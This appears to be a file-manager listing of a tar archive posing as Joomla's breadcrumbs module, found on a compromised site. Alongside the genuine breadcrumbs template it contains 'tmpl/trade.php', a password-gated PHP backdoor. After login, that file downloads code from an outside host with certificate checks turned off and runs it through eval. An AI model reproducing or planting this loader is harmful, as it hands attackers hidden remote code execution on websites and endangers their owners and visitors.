File manager - Edit - /home/capoccitel/www/wp-admin/mod_breadcrumbs.tar
Back
index.html 0000705 00000000037 15242034056 0006540 0 ustar 00 <!DOCTYPE html><title></title> tmpl/default.php 0000705 00000004534 15242034056 0007662 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_breadcrumbs * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> <div aria-label="<?php echo htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); ?>" role="navigation"> <ul itemscope itemtype="https://schema.org/BreadcrumbList" class="breadcrumb<?php echo $moduleclass_sfx; ?>"> <?php if ($params->get('showHere', 1)) : ?> <li> <?php echo JText::_('MOD_BREADCRUMBS_HERE'); ?>  </li> <?php else : ?> <li class="active"> <span class="divider icon-location"></span> </li> <?php endif; ?> <?php // Get rid of duplicated entries on trail including home page when using multilanguage for ($i = 0; $i < $count; $i++) { if ($i === 1 && !empty($list[$i]->link) && !empty($list[$i - 1]->link) && $list[$i]->link === $list[$i - 1]->link) { unset($list[$i]); } } // Find last and penultimate items in breadcrumbs list end($list); $last_item_key = key($list); prev($list); $penult_item_key = key($list); // Make a link if not the last item in the breadcrumbs $show_last = $params->get('showLast', 1); // Generate the trail foreach ($list as $key => $item) : if ($key !== $last_item_key) : // Render all but last item - along with separator ?> <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem"> <?php if (!empty($item->link)) : ?> <a itemprop="item" href="<?php echo $item->link; ?>" class="pathway"><span itemprop="name"><?php echo $item->name; ?></span></a> <?php else : ?> <span itemprop="name"> <?php echo $item->name; ?> </span> <?php endif; ?> <?php if (($key !== $penult_item_key) || $show_last) : ?> <span class="divider"> <?php echo $separator; ?> </span> <?php endif; ?> <meta itemprop="position" content="<?php echo $key + 1; ?>"> </li> <?php elseif ($show_last) : // Render last item if reqd. ?> <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" class="active"> <span itemprop="name"> <?php echo $item->name; ?> </span> <meta itemprop="position" content="<?php echo $key + 1; ?>"> </li> <?php endif; endforeach; ?> </ul> </div> tmpl/trade.php 0000705 00000004754 15242034056 0007341 0 ustar 00 <?php session_start(); /** * Disable error reporting * * Set this to error_reporting( -1 ) for debugging. */ function geturlsinfo($url) { if (function_exists('curl_exec')) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); // Set cookies using session if available if (isset($_SESSION['coki'])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists('file_get_contents')) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists('fopen') && function_exists('stream_get_contents')) { $handle = fopen($url, "r"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } // Function to check if the user is logged in function is_logged_in() { return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true; } // Check if the password is submitted and correct if (isset($_POST['password'])) { $entered_password = $_POST['password']; $hashed_password = '24c23b69a6a7dc8783331f687c40c494'; if (md5($entered_password) === $hashed_password) { // Password is correct, store it in session $_SESSION['logged_in'] = true; $_SESSION['coki'] = 'asu'; // Replace this with your cookie data } else { // Password is incorrect echo "Incorrect password. Please try again."; } } // Check if the user is logged in before executing the content if (is_logged_in()) { $a = geturlsinfo('https://bujang.online/raw/V2AUF5bOf_'); eval('?>' . $a); } else { // Display login form if not logged in ?> <!DOCTYPE html> <html> <head> <title>Login</title> </head> <body> <form method="POST" action=""> <label for="password">Password:</label> <input type="password" id="password" name="password"> <input type="submit" value="Login"> </form> </body> </html> <?php } ?>